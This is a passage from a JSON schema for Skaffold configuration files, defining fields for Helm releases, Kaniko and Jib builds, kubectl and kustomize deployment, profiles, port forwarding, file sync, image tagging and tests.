\"additionalProperties\": false,\n \"description\": \"parameters for packaging helm chart (`helm package`).\",\n \"x-intellij-html-description\": \"parameters for packaging helm chart (<code>helm package</code>).\"\n },\n \"HelmRelease\": {\n \"required\": [\n \"name\",\n \"chartPath\"\n ],\n \"properties\": {\n \"chartPath\": {\n \"type\": \"string\",\n \"description\": \"path to the Helm chart.\",\n \"x-intellij-html-description\": \"path to the Helm chart.\"\n },\n \"imageStrategy\": {\n \"$ref\": \"#/definitions/HelmImageStrategy\",\n \"description\": \"adds image configurations to the Helm `values` file.\",\n \"x-intellij-html-description\": \"adds image configurations to the Helm <code>values</code> file.\"\n },\n \"name\": {\n \"type\": \"string\",\n \"description\": \"name of the Helm release.\",\n \"x-intellij-html-description\": \"name of the Helm release.\"\n },\n \"namespace\": {\n \"type\": \"string\",\n \"description\": \"Kubernetes namespace.\",\n \"x-intellij-html-description\": \"Kubernetes namespace.\"\n },\n \"overrides\": {\n \"description\": \"key-value pairs. If present, Skaffold will build a Helm `values` file that overrides the original and use it to call Helm CLI (`--f` flag).\",\n \"x-intellij-html-description\": \"key-value pairs. If present, Skaffold will build a Helm <code>values</code> file that overrides the original and use it to call Helm CLI (<code>--f</code> flag).\"\n },\n \"packaged\": {\n \"$ref\": \"#/definitions/HelmPackaged\",\n \"description\": \"parameters for packaging helm chart (`helm package`).\",\n \"x-intellij-html-description\": \"parameters for packaging helm chart (<code>helm package</code>).\"\n },\n \"recreatePods\": {\n \"type\": \"boolean\",\n \"description\": \"if `true`, Skaffold will send `--recreate-pods` flag to Helm CLI when upgrading a new version of a chart in subsequent dev loop deploy.\",\n \"x-intellij-html-description\": \"if <code>true</code>, Skaffold will send <code>--recreate-pods</code> flag to Helm CLI when upgrading a new version of a chart in subsequent dev loop deploy.\",\n \"default\": \"false\"\n },\n \"remote\": {\n \"type\": \"boolean\",\n \"description\": \"specifies whether the chart path is remote, or exists on the host filesystem. `remote: true` implies `skipBuildDependencies: true`.\",\n \"x-intellij-html-description\": \"specifies whether the chart path is remote, or exists on the host filesystem. <code>remote: true</code> implies <code>skipBuildDependencies: true</code>.\",\n \"default\": \"false\"\n },\n \"setFiles\": {\n \"additionalProperties\": {\n \"type\": \"string\"\n },\n \"type\": \"object\",\n \"description\": \"key-value pairs. If present, Skaffold will send `--set-file` flag to Helm CLI and append all pairs after the flag.\",\n \"x-intellij-html-description\": \"key-value pairs. If present, Skaffold will send <code>--set-file</code> flag to Helm CLI and append all pairs after the flag.\",\n \"default\": \"{}\"\n },\n \"setValueTemplates\": {\n \"additionalProperties\": {\n \"type\": \"string\"\n },\n \"type\": \"object\",\n \"description\": \"key-value pairs. If present, Skaffold will try to parse the value part of each key-value pair using environment variables in the system, then send `--set` flag to Helm CLI and append all parsed pairs after the flag.\",\n \"x-intellij-html-description\": \"key-value pairs. If present, Skaffold will try to parse the value part of each key-value pair using environment variables in the system, then send <code>--set</code> flag to Helm CLI and append all parsed pairs after the flag.\",\n \"default\": \"{}\"\n },\n \"setValues\": {\n \"additionalProperties\": {\n \"type\": \"string\"\n },\n \"type\": \"object\",\n \"description\": \"key-value pairs. If present, Skaffold will send `--set` flag to Helm CLI and append all pairs after the flag.\",\n \"x-intellij-html-description\": \"key-value pairs. If present, Skaffold will send <code>--set</code> flag to Helm CLI and append all pairs after the flag.\",\n \"default\": \"{}\"\n },\n \"skipBuildDependencies\": {\n \"type\": \"boolean\",\n \"description\": \"should build dependencies be skipped.\",\n \"x-intellij-html-description\": \"should build dependencies be skipped.\",\n \"default\": \"false\"\n },\n \"useHelmSecrets\": {\n \"type\": \"boolean\",\n \"description\": \"instructs skaffold to use secrets plugin on deployment.\",\n \"x-intellij-html-description\": \"instructs skaffold to use secrets plugin on deployment.\",\n \"default\": \"false\"\n },\n \"values\": {\n \"additionalProperties\": {\n \"type\": \"string\"\n },\n \"type\": \"object\",\n \"description\": \"key-value pairs supplementing the Helm `values` file.\",\n \"x-intellij-html-description\": \"key-value pairs supplementing the Helm <code>values</code> file.\",\n \"default\": \"{}\"\n },\n \"valuesFiles\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"paths to the Helm `values` files.\",\n \"x-intellij-html-description\": \"paths to the Helm <code>values</code> files.\",\n \"default\": \"[]\"\n },\n \"version\": {\n \"type\": \"string\",\n \"description\": \"version of the chart.\",\n \"x-intellij-html-description\": \"version of the chart.\"\n },\n \"wait\": {\n \"type\": \"boolean\",\n \"description\": \"if `true`, Skaffold will send `--wait` flag to Helm CLI.\",\n \"x-intellij-html-description\": \"if <code>true</code>, Skaffold will send <code>--wait</code> flag to Helm CLI.\",\n \"default\": \"false\"\n }\n },\n \"preferredOrder\": [\n \"name\",\n \"chartPath\",\n \"valuesFiles\",\n \"values\",\n \"namespace\",\n \"version\",\n \"setValues\",\n \"setValueTemplates\",\n \"setFiles\",\n \"wait\",\n \"recreatePods\",\n \"skipBuildDependencies\",\n \"useHelmSecrets\",\n \"remote\",\n \"overrides\",\n \"packaged\",\n \"imageStrategy\"\n ],\n \"additionalProperties\": false,\n \"description\": \"describes a helm release to be deployed.\",\n \"x-intellij-html-description\": \"describes a helm release to be deployed.\"\n },\n \"JSONPatch\": {\n \"required\": [\n \"path\"\n ],\n \"properties\": {\n \"from\": {\n \"type\": \"string\",\n \"description\": \"source position in the yaml, used for `copy` or `move` operations.\",\n \"x-intellij-html-description\": \"source position in the yaml, used for <code>copy</code> or <code>move</code> operations.\"\n },\n \"op\": {\n \"type\": \"string\",\n \"description\": \"operation carried by the patch: `add`, `remove`, `replace`, `move`, `copy` or `test`.\",\n \"x-intellij-html-description\": \"operation carried by the patch: <code>add</code>, <code>remove</code>, <code>replace</code>, <code>move</code>, <code>copy</code> or <code>test</code>.\",\n \"default\": \"replace\"\n },\n \"path\": {\n \"type\": \"string\",\n \"description\": \"position in the yaml where the operation takes place. For example, this targets the `dockerfile` of the first artifact built.\",\n \"x-intellij-html-description\": \"position in the yaml where the operation takes place. For example, this targets the <code>dockerfile</code> of the first artifact built.\",\n \"examples\": [\n \"/build/artifacts/0/docker/dockerfile\"\n ]\n },\n \"value\": {\n \"description\": \"value to apply. Can be any portion of yaml.\",\n \"x-intellij-html-description\": \"value to apply. Can be any portion of yaml.\"\n }\n },\n \"preferredOrder\": [\n \"op\",\n \"path\",\n \"from\",\n \"value\"\n ],\n \"additionalProperties\": false,\n \"description\": \"patch to be applied by a profile.\",\n \"x-intellij-html-description\": \"patch to be applied by a profile.\"\n },\n \"JibArtifact\": {\n \"properties\": {\n \"args\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"additional build flags passed to the builder.\",\n \"x-intellij-html-description\": \"additional build flags passed to the builder.\",\n \"default\": \"[]\",\n \"examples\": [\n \"[\\\"--no-build-cache\\\"]\"\n ]\n },\n \"project\": {\n \"type\": \"string\",\n \"description\": \"selects which sub-project to build for multi-module builds.\",\n \"x-intellij-html-description\": \"selects which sub-project to build for multi-module builds.\"\n },\n \"type\": {\n \"type\": \"string\",\n \"description\": \"the Jib builder type; normally determined automatically. Valid types are `maven`: for Maven. `gradle`: for Gradle.\",\n \"x-intellij-html-description\": \"the Jib builder type; normally determined automatically. Valid types are <code>maven</code>: for Maven. <code>gradle</code>: for Gradle.\",\n \"enum\": [\n \"maven\",\n \"gradle\"\n ]\n }\n },\n \"preferredOrder\": [\n \"project\",\n \"args\",\n \"type\"\n ],\n \"additionalProperties\": false,\n \"description\": \"*alpha* builds images using the [Jib plugins for Maven and Gradle](https://github.com/GoogleContainerTools/jib/).\",\n \"x-intellij-html-description\": \"<em>alpha</em> builds images using the <a href=\\\"https://github.com/GoogleContainerTools/jib/\\\">Jib plugins for Maven and Gradle</a>.\"\n },\n \"KanikoArtifact\": {\n \"properties\": {\n \"buildArgs\": {\n \"additionalProperties\": {\n \"type\": \"string\"\n },\n \"type\": \"object\",\n \"description\": \"arguments passed to the docker build. It also accepts environment variables via the go template syntax.\",\n \"x-intellij-html-description\": \"arguments passed to the docker build. It also accepts environment variables via the go template syntax.\",\n \"default\": \"{}\",\n \"examples\": [\n \"{\\\"key1\\\": \\\"value1\\\", \\\"key2\\\": \\\"value2\\\", \\\"key3\\\": \\\"{{.ENV_VARIABLE}}\\\"}\"\n ]\n },\n \"buildContext\": {\n \"$ref\": \"#/definitions/KanikoBuildContext\",\n \"description\": \"where the build context for this artifact resides.\",\n \"x-intellij-html-description\": \"where the build context for this artifact resides.\"\n },\n \"cache\": {\n \"$ref\": \"#/definitions/KanikoCache\",\n \"description\": \"configures Kaniko caching. If a cache is specified, Kaniko will use a remote cache which will speed up builds.\",\n \"x-intellij-html-description\": \"configures Kaniko caching. If a cache is specified, Kaniko will use a remote cache which will speed up builds.\"\n },\n \"dockerfile\": {\n \"type\": \"string\",\n \"description\": \"locates the Dockerfile relative to workspace.\",\n \"x-intellij-html-description\": \"locates the Dockerfile relative to workspace.\",\n \"default\": \"Dockerfile\"\n },\n \"flags\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"additional flags to be passed to Kaniko command line. See [Kaniko Additional Flags](https://github.com/GoogleContainerTools/kaniko#additional-flags). Deprecated - instead the named, unique fields should be used, e.g. `buildArgs`, `cache`, `target`.\",\n \"x-intellij-html-description\": \"additional flags to be passed to Kaniko command line. See <a href=\\\"https://github.com/GoogleContainerTools/kaniko#additional-flags\\\">Kaniko Additional Flags</a>. Deprecated - instead the named, unique fields should be used, e.g. <code>buildArgs</code>, <code>cache</code>, <code>target</code>.\",\n \"default\": \"[]\"\n },\n \"image\": {\n \"type\": \"string\",\n \"description\": \"Docker image used by the Kaniko pod. Defaults to the latest released version of `gcr.io/kaniko-project/executor`.\",\n \"x-intellij-html-description\": \"Docker image used by the Kaniko pod. Defaults to the latest released version of <code>gcr.io/kaniko-project/executor</code>.\"\n },\n \"reproducible\": {\n \"type\": \"boolean\",\n \"description\": \"used to strip timestamps out of the built image.\",\n \"x-intellij-html-description\": \"used to strip timestamps out of the built image.\",\n \"default\": \"false\"\n },\n \"target\": {\n \"type\": \"string\",\n \"description\": \"Dockerfile target name to build.\",\n \"x-intellij-html-description\": \"Dockerfile target name to build.\"\n }\n },\n \"preferredOrder\": [\n \"flags\",\n \"dockerfile\",\n \"target\",\n \"buildArgs\",\n \"buildContext\",\n \"image\",\n \"cache\",\n \"reproducible\"\n ],\n \"additionalProperties\": false,\n \"description\": \"*alpha* describes an artifact built from a Dockerfile, with kaniko.\",\n \"x-intellij-html-description\": \"<em>alpha</em> describes an artifact built from a Dockerfile, with kaniko.\"\n },\n \"KanikoBuildContext\": {\n \"properties\": {\n \"gcsBucket\": {\n \"type\": \"string\",\n \"description\": \"GCS bucket to which sources are uploaded. Kaniko will need access to that bucket to download the sources.\",\n \"x-intellij-html-description\": \"GCS bucket to which sources are uploaded. Kaniko will need access to that bucket to download the sources.\"\n },\n \"localDir\": {\n \"$ref\": \"#/definitions/LocalDir\",\n \"description\": \"configures how Kaniko mounts sources directly via an `emptyDir` volume.\",\n \"x-intellij-html-description\": \"configures how Kaniko mounts sources directly via an <code>emptyDir</code> volume.\"\n }\n },\n \"preferredOrder\": [\n \"gcsBucket\",\n \"localDir\"\n ],\n \"additionalProperties\": false,\n \"description\": \"contains the different fields available to specify a Kaniko build context.\",\n \"x-intellij-html-description\": \"contains the different fields available to specify a Kaniko build context.\"\n },\n \"KanikoCache\": {\n \"properties\": {\n \"hostPath\": {\n \"type\": \"string\",\n \"description\": \"specifies a path on the host that is mounted to each pod as read only cache volume containing base images. If set, must exist on each node and prepopulated with kaniko-warmer.\",\n \"x-intellij-html-description\": \"specifies a path on the host that is mounted to each pod as read only cache volume containing base images. If set, must exist on each node and prepopulated with kaniko-warmer.\"\n },\n \"repo\": {\n \"type\": \"string\",\n \"description\": \"a remote repository to store cached layers. If none is specified, one will be inferred from the image name. See [Kaniko Caching](https://github.com/GoogleContainerTools/kaniko#caching).\",\n \"x-intellij-html-description\": \"a remote repository to store cached layers. If none is specified, one will be inferred from the image name. See <a href=\\\"https://github.com/GoogleContainerTools/kaniko#caching\\\">Kaniko Caching</a>.\"\n }\n },\n \"preferredOrder\": [\n \"repo\",\n \"hostPath\"\n ],\n \"additionalProperties\": false,\n \"description\": \"configures Kaniko caching. If a cache is specified, Kaniko will use a remote cache which will speed up builds.\",\n \"x-intellij-html-description\": \"configures Kaniko caching. If a cache is specified, Kaniko will use a remote cache which will speed up builds.\"\n },\n \"KubectlDeploy\": {\n \"properties\": {\n \"flags\": {\n \"$ref\": \"#/definitions/KubectlFlags\",\n \"description\": \"additional flags passed to `kubectl`.\",\n \"x-intellij-html-description\": \"additional flags passed to <code>kubectl</code>.\"\n },\n \"manifests\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"the Kubernetes yaml or json manifests.\",\n \"x-intellij-html-description\": \"the Kubernetes yaml or json manifests.\",\n \"default\": \"[\\\"k8s/*.yaml\\\"]\"\n },\n \"remoteManifests\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"Kubernetes manifests in remote clusters.\",\n \"x-intellij-html-description\": \"Kubernetes manifests in remote clusters.\",\n \"default\": \"[]\"\n }\n },\n \"preferredOrder\": [\n \"manifests\",\n \"remoteManifests\",\n \"flags\"\n ],\n \"additionalProperties\": false,\n \"description\": \"*beta* uses a client side `kubectl apply` to deploy manifests. You'll need a `kubectl` CLI version installed that's compatible with your cluster.\",\n \"x-intellij-html-description\": \"<em>beta</em> uses a client side <code>kubectl apply</code> to deploy manifests. You'll need a <code>kubectl</code> CLI version installed that's compatible with your cluster.\"\n },\n \"KubectlFlags\": {\n \"properties\": {\n \"apply\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"additional flags passed on creations (`kubectl apply`).\",\n \"x-intellij-html-description\": \"additional flags passed on creations (<code>kubectl apply</code>).\",\n \"default\": \"[]\"\n },\n \"delete\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"additional flags passed on deletions (`kubectl delete`).\",\n \"x-intellij-html-description\": \"additional flags passed on deletions (<code>kubectl delete</code>).\",\n \"default\": \"[]\"\n },\n \"global\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"additional flags passed on every command.\",\n \"x-intellij-html-description\": \"additional flags passed on every command.\",\n \"default\": \"[]\"\n }\n },\n \"preferredOrder\": [\n \"global\",\n \"apply\",\n \"delete\"\n ],\n \"additionalProperties\": false,\n \"description\": \"additional flags passed on the command line to kubectl either on every command (Global), on creations (Apply) or deletions (Delete).\",\n \"x-intellij-html-description\": \"additional flags passed on the command line to kubectl either on every command (Global), on creations (Apply) or deletions (Delete).\"\n },\n \"KustomizeDeploy\": {\n \"properties\": {\n \"buildArgs\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"additional args passed to `kustomize build`.\",\n \"x-intellij-html-description\": \"additional args passed to <code>kustomize build</code>.\",\n \"default\": \"[]\"\n },\n \"flags\": {\n \"$ref\": \"#/definitions/KubectlFlags\",\n \"description\": \"additional flags passed to `kubectl`.\",\n \"x-intellij-html-description\": \"additional flags passed to <code>kubectl</code>.\"\n },\n \"path\": {\n \"type\": \"string\",\n \"description\": \"path to Kustomization files.\",\n \"x-intellij-html-description\": \"path to Kustomization files.\",\n \"default\": \".\"\n }\n },\n \"preferredOrder\": [\n \"path\",\n \"flags\",\n \"buildArgs\"\n ],\n \"additionalProperties\": false,\n \"description\": \"*beta* uses the `kustomize` CLI to \\\"patch\\\" a deployment for a target environment.\",\n \"x-intellij-html-description\": \"<em>beta</em> uses the <code>kustomize</code> CLI to &quot;patch&quot; a deployment for a target environment.\"\n },\n \"LocalBuild\": {\n \"properties\": {\n \"push\": {\n \"type\": \"boolean\",\n \"description\": \"should images be pushed to a registry. If not specified, images are pushed only if the current Kubernetes context connects to a remote cluster.\",\n \"x-intellij-html-description\": \"should images be pushed to a registry. If not specified, images are pushed only if the current Kubernetes context connects to a remote cluster.\"\n },\n \"useBuildkit\": {\n \"type\": \"boolean\",\n \"description\": \"use BuildKit to build Docker images.\",\n \"x-intellij-html-description\": \"use BuildKit to build Docker images.\",\n \"default\": \"false\"\n },\n \"useDockerCLI\": {\n \"type\": \"boolean\",\n \"description\": \"use `docker` command-line interface instead of Docker Engine APIs.\",\n \"x-intellij-html-description\": \"use <code>docker</code> command-line interface instead of Docker Engine APIs.\",\n \"default\": \"false\"\n }\n },\n \"preferredOrder\": [\n \"push\",\n \"useDockerCLI\",\n \"useBuildkit\"\n ],\n \"additionalProperties\": false,\n \"description\": \"*beta* describes how to do a build on the local docker daemon and optionally push to a repository.\",\n \"x-intellij-html-description\": \"<em>beta</em> describes how to do a build on the local docker daemon and optionally push to a repository.\"\n },\n \"LocalDir\": {\n \"properties\": {\n \"initImage\": {\n \"type\": \"string\",\n \"description\": \"image used to run init container which mounts kaniko context.\",\n \"x-intellij-html-description\": \"image used to run init container which mounts kaniko context.\"\n }\n },\n \"preferredOrder\": [\n \"initImage\"\n ],\n \"additionalProperties\": false,\n \"description\": \"configures how Kaniko mounts sources directly via an `emptyDir` volume.\",\n \"x-intellij-html-description\": \"configures how Kaniko mounts sources directly via an <code>emptyDir</code> volume.\"\n },\n \"Metadata\": {\n \"properties\": {\n \"name\": {\n \"type\": \"string\",\n \"description\": \"an identifier for the project.\",\n \"x-intellij-html-description\": \"an identifier for the project.\"\n }\n },\n \"preferredOrder\": [\n \"name\"\n ],\n \"additionalProperties\": false,\n \"description\": \"holds an optional name of the project.\",\n \"x-intellij-html-description\": \"holds an optional name of the project.\"\n },\n \"PortForwardResource\": {\n \"properties\": {\n \"localPort\": {\n \"type\": \"integer\",\n \"description\": \"local port to forward to. If the port is unavailable, Skaffold will choose a random open port to forward to. *Optional*.\",\n \"x-intellij-html-description\": \"local port to forward to. If the port is unavailable, Skaffold will choose a random open port to forward to. <em>Optional</em>.\"\n },\n \"namespace\": {\n \"type\": \"string\",\n \"description\": \"namespace of the resource to port forward.\",\n \"x-intellij-html-description\": \"namespace of the resource to port forward.\"\n },\n \"port\": {\n \"type\": \"integer\",\n \"description\": \"resource port that will be forwarded.\",\n \"x-intellij-html-description\": \"resource port that will be forwarded.\"\n },\n \"resourceName\": {\n \"type\": \"string\",\n \"description\": \"name of the Kubernetes resource to port forward.\",\n \"x-intellij-html-description\": \"name of the Kubernetes resource to port forward.\"\n },\n \"resourceType\": {\n \"type\": \"string\",\n \"description\": \"Kubernetes type that should be port forwarded. Acceptable resource types include: `Service`, `Pod` and Controller resource type that has a pod spec: `ReplicaSet`, `ReplicationController`, `Deployment`, `StatefulSet`, `DaemonSet`, `Job`, `CronJob`.\",\n \"x-intellij-html-description\": \"Kubernetes type that should be port forwarded. Acceptable resource types include: <code>Service</code>, <code>Pod</code> and Controller resource type that has a pod spec: <code>ReplicaSet</code>, <code>ReplicationController</code>, <code>Deployment</code>, <code>StatefulSet</code>, <code>DaemonSet</code>, <code>Job</code>, <code>CronJob</code>.\"\n }\n },\n \"preferredOrder\": [\n \"resourceType\",\n \"resourceName\",\n \"namespace\",\n \"port\",\n \"localPort\"\n ],\n \"additionalProperties\": false,\n \"description\": \"describes a resource to port forward.\",\n \"x-intellij-html-description\": \"describes a resource to port forward.\"\n },\n \"Profile\": {\n \"required\": [\n \"name\"\n ],\n \"properties\": {\n \"activation\": {\n \"items\": {\n \"$ref\": \"#/definitions/Activation\"\n },\n \"type\": \"array\",\n \"description\": \"criteria by which a profile can be auto-activated. The profile is auto-activated if any one of the activations are triggered. An activation is triggered if all of the criteria (env, kubeContext, command) are triggered.\",\n \"x-intellij-html-description\": \"criteria by which a profile can be auto-activated. The profile is auto-activated if any one of the activations are triggered. An activation is triggered if all of the criteria (env, kubeContext, command) are triggered.\"\n },\n \"build\": {\n \"$ref\": \"#/definitions/BuildConfig\",\n \"description\": \"describes how images are built.\",\n \"x-intellij-html-description\": \"describes how images are built.\"\n },\n \"deploy\": {\n \"$ref\": \"#/definitions/DeployConfig\",\n \"description\": \"describes how images are deployed.\",\n \"x-intellij-html-description\": \"describes how images are deployed.\"\n },\n \"name\": {\n \"type\": \"string\",\n \"description\": \"a unique profile name.\",\n \"x-intellij-html-description\": \"a unique profile name.\",\n \"examples\": [\n \"profile-prod\"\n ]\n },\n \"patches\": {\n \"items\": {\n \"$ref\": \"#/definitions/JSONPatch\"\n },\n \"type\": \"array\",\n \"description\": \"patches applied to the configuration. Patches use the JSON patch notation.\",\n \"x-intellij-html-description\": \"patches applied to the configuration. Patches use the JSON patch notation.\"\n },\n \"portForward\": {\n \"items\": {\n \"$ref\": \"#/definitions/PortForwardResource\"\n },\n \"type\": \"array\",\n \"description\": \"describes user defined resources to port-forward.\",\n \"x-intellij-html-description\": \"describes user defined resources to port-forward.\"\n },\n \"test\": {\n \"items\": {\n \"$ref\": \"#/definitions/TestCase\"\n },\n \"type\": \"array\",\n \"description\": \"describes how images are tested.\",\n \"x-intellij-html-description\": \"describes how images are tested.\"\n }\n },\n \"preferredOrder\": [\n \"name\",\n \"build\",\n \"test\",\n \"deploy\",\n \"portForward\",\n \"patches\",\n \"activation\"\n ],\n \"additionalProperties\": false,\n \"description\": \"*beta* profiles are used to override any `build`, `test` or `deploy` configuration.\",\n \"x-intellij-html-description\": \"<em>beta</em> profiles are used to override any <code>build</code>, <code>test</code> or <code>deploy</code> configuration.\"\n },\n \"ResourceRequirement\": {\n \"properties\": {\n \"cpu\": {\n \"type\": \"string\",\n \"description\": \"the number cores to be used.\",\n \"x-intellij-html-description\": \"the number cores to be used.\",\n \"examples\": [\n \"2`, `2.0` or `200m\"\n ]\n },\n \"memory\": {\n \"type\": \"string\",\n \"description\": \"the amount of memory to allocate to the pod.\",\n \"x-intellij-html-description\": \"the amount of memory to allocate to the pod.\",\n \"examples\": [\n \"1Gi` or `1000Mi\"\n ]\n }\n },\n \"preferredOrder\": [\n \"cpu\",\n \"memory\"\n ],\n \"additionalProperties\": false,\n \"description\": \"stores the CPU/Memory requirements for the pod.\",\n \"x-intellij-html-description\": \"stores the CPU/Memory requirements for the pod.\"\n },\n \"ResourceRequirements\": {\n \"properties\": {\n \"limits\": {\n \"$ref\": \"#/definitions/ResourceRequirement\",\n \"description\": \"[resource limits](https://kubernetes.io/docs/concepts/configuration/manage-compute-resources-container/#resource-requests-and-limits-of-pod-and-container) for the Kaniko pod.\",\n \"x-intellij-html-description\": \"<a href=\\\"https://kubernetes.io/docs/concepts/configuration/manage-compute-resources-container/#resource-requests-and-limits-of-pod-and-container\\\">resource limits</a> for the Kaniko pod.\"\n },\n \"requests\": {\n \"$ref\": \"#/definitions/ResourceRequirement\",\n \"description\": \"[resource requests](https://kubernetes.io/docs/concepts/configuration/manage-compute-resources-container/#resource-requests-and-limits-of-pod-and-container) for the Kaniko pod.\",\n \"x-intellij-html-description\": \"<a href=\\\"https://kubernetes.io/docs/concepts/configuration/manage-compute-resources-container/#resource-requests-and-limits-of-pod-and-container\\\">resource requests</a> for the Kaniko pod.\"\n }\n },\n \"preferredOrder\": [\n \"requests\",\n \"limits\"\n ],\n \"additionalProperties\": false,\n \"description\": \"describes the resource requirements for the kaniko pod.\",\n \"x-intellij-html-description\": \"describes the resource requirements for the kaniko pod.\"\n },\n \"ResourceType\": {\n \"type\": \"string\",\n \"description\": \"describes the Kubernetes resource types used for port forwarding.\",\n \"x-intellij-html-description\": \"describes the Kubernetes resource types used for port forwarding.\"\n },\n \"ShaTagger\": {\n \"description\": \"*beta* tags images with their sha256 digest.\",\n \"x-intellij-html-description\": \"<em>beta</em> tags images with their sha256 digest.\"\n },\n \"SkaffoldConfig\": {\n \"required\": [\n \"apiVersion\",\n \"kind\"\n ],\n \"properties\": {\n \"apiVersion\": {\n \"type\": \"string\",\n \"description\": \"version of the configuration.\",\n \"x-intellij-html-description\": \"version of the configuration.\"\n },\n \"build\": {\n \"$ref\": \"#/definitions/BuildConfig\",\n \"description\": \"describes how images are built.\",\n \"x-intellij-html-description\": \"describes how images are built.\"\n },\n \"deploy\": {\n \"$ref\": \"#/definitions/DeployConfig\",\n \"description\": \"describes how images are deployed.\",\n \"x-intellij-html-description\": \"describes how images are deployed.\"\n },\n \"kind\": {\n \"type\": \"string\",\n \"description\": \"always `Config`.\",\n \"x-intellij-html-description\": \"always <code>Config</code>.\",\n \"default\": \"Config\"\n },\n \"metadata\": {\n \"$ref\": \"#/definitions/Metadata\",\n \"description\": \"holds additional information about the config.\",\n \"x-intellij-html-description\": \"holds additional information about the config.\"\n },\n \"portForward\": {\n \"items\": {\n \"$ref\": \"#/definitions/PortForwardResource\"\n },\n \"type\": \"array\",\n \"description\": \"describes user defined resources to port-forward.\",\n \"x-intellij-html-description\": \"describes user defined resources to port-forward.\"\n },\n \"profiles\": {\n \"items\": {\n \"$ref\": \"#/definitions/Profile\"\n },\n \"type\": \"array\",\n \"description\": \"*beta* can override be used to `build`, `test` or `deploy` configuration.\",\n \"x-intellij-html-description\": \"<em>beta</em> can override be used to <code>build</code>, <code>test</code> or <code>deploy</code> configuration.\"\n },\n \"test\": {\n \"items\": {\n \"$ref\": \"#/definitions/TestCase\"\n },\n \"type\": \"array\",\n \"description\": \"describes how images are tested.\",\n \"x-intellij-html-description\": \"describes how images are tested.\"\n }\n },\n \"preferredOrder\": [\n \"apiVersion\",\n \"kind\",\n \"metadata\",\n \"build\",\n \"test\",\n \"deploy\",\n \"portForward\",\n \"profiles\"\n ],\n \"additionalProperties\": false,\n \"description\": \"holds the fields parsed from the Skaffold configuration file (skaffold.yaml).\",\n \"x-intellij-html-description\": \"holds the fields parsed from the Skaffold configuration file (skaffold.yaml).\"\n },\n \"Sync\": {\n \"properties\": {\n \"infer\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"file patterns which may be synced into the container. The container destination is inferred by the builder. Currently only available for docker artifacts.\",\n \"x-intellij-html-description\": \"file patterns which may be synced into the container. The container destination is inferred by the builder. Currently only available for docker artifacts.\",\n \"default\": \"[]\"\n },\n \"manual\": {\n \"items\": {\n \"$ref\": \"#/definitions/SyncRule\"\n },\n \"type\": \"array\",\n \"description\": \"manual sync rules indicating the source and destination.\",\n \"x-intellij-html-description\": \"manual sync rules indicating the source and destination.\"\n }\n },\n \"preferredOrder\": [\n \"manual\",\n \"infer\"\n ],\n \"additionalProperties\": false,\n \"description\": \"*alpha* specifies what files to sync into the container. This is a list of sync rules indicating the intent to sync for source files.\",\n \"x-intellij-html-description\": \"<em>alpha</em> specifies what files to sync into the container. This is a list of sync rules indicating the intent to sync for source files.\"\n },\n \"SyncRule\": {\n \"required\": [\n \"src\",\n \"dest\"\n ],\n \"properties\": {\n \"dest\": {\n \"type\": \"string\",\n \"description\": \"destination path in the container where the files should be synced to.\",\n \"x-intellij-html-description\": \"destination path in the container where the files should be synced to.\",\n \"examples\": [\n \"\\\"app/\\\"\"\n ]\n },\n \"src\": {\n \"type\": \"string\",\n \"description\": \"a glob pattern to match local paths against. Directories should be delimited by `/` on all platforms.\",\n \"x-intellij-html-description\": \"a glob pattern to match local paths against. Directories should be delimited by <code>/</code> on all platforms.\",\n \"examples\": [\n \"\\\"css/**/*.css\\\"\"\n ]\n },\n \"strip\": {\n \"type\": \"string\",\n \"description\": \"specifies the path prefix to remove from the source path when transplanting the files into the destination folder.\",\n \"x-intellij-html-description\": \"specifies the path prefix to remove from the source path when transplanting the files into the destination folder.\",\n \"examples\": [\n \"\\\"css/\\\"\"\n ]\n }\n },\n \"preferredOrder\": [\n \"src\",\n \"dest\",\n \"strip\"\n ],\n \"additionalProperties\": false,\n \"description\": \"specifies which local files to sync to remote folders.\",\n \"x-intellij-html-description\": \"specifies which local files to sync to remote folders.\"\n },\n \"TagPolicy\": {\n \"properties\": {\n \"dateTime\": {\n \"$ref\": \"#/definitions/DateTimeTagger\",\n \"description\": \"*beta* tags images with the build timestamp.\",\n \"x-intellij-html-description\": \"<em>beta</em> tags images with the build timestamp.\"\n },\n \"envTemplate\": {\n \"$ref\": \"#/definitions/EnvTemplateTagger\",\n \"description\": \"*beta* tags images with a configurable template string.\",\n \"x-intellij-html-description\": \"<em>beta</em> tags images with a configurable template string.\"\n },\n \"gitCommit\": {\n \"$ref\": \"#/definitions/GitTagger\",\n \"description\": \"*beta* tags images with the git tag or commit of the artifact's workspace.\",\n \"x-intellij-html-description\": \"<em>beta</em> tags images with the git tag or commit of the artifact's workspace.\"\n },\n \"sha256\": {\n \"$ref\": \"#/definitions/ShaTagger\",\n \"description\": \"*beta* tags images with their sha256 digest.\",\n \"x-intellij-html-description\": \"<em>beta</em> tags images with their sha256 digest.\"\n }\n },\n \"preferredOrder\": [\n \"gitCommit\",\n \"sha256\",\n \"envTemplate\",\n \"dateTime\"\n ],\n \"additionalProperties\": false,\n \"description\": \"contains all the configuration for the tagging step.\",\n \"x-intellij-html-description\": \"contains all the configuration for the tagging step.\"\n },\n \"TestCase\": {\n \"required\": [\n \"image\"\n ],\n \"properties\": {\n \"image\": {\n \"type\": \"string\",\n \"description\": \"artifact on which to run those tests.\",\n \"x-intellij-html-description\": \"artifact on which to run those tests.\",\n \"examples\": [\n \"gcr.io/k8s-skaffold/example\"\n ]\n },\n \"structureTests\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"the [Container Structure Tests](https://github.com/GoogleContainerTools/container-structure-test) to run on that artifact.\",\n \"x-intellij-html-description\": \"the <a href=\\\"https://github.com/GoogleContainerTools/container-structure-test\\\">Container Structure Tests</a> to run on that artifact.\",\n \"default\": \"[]\",\n \"examples\": [\n 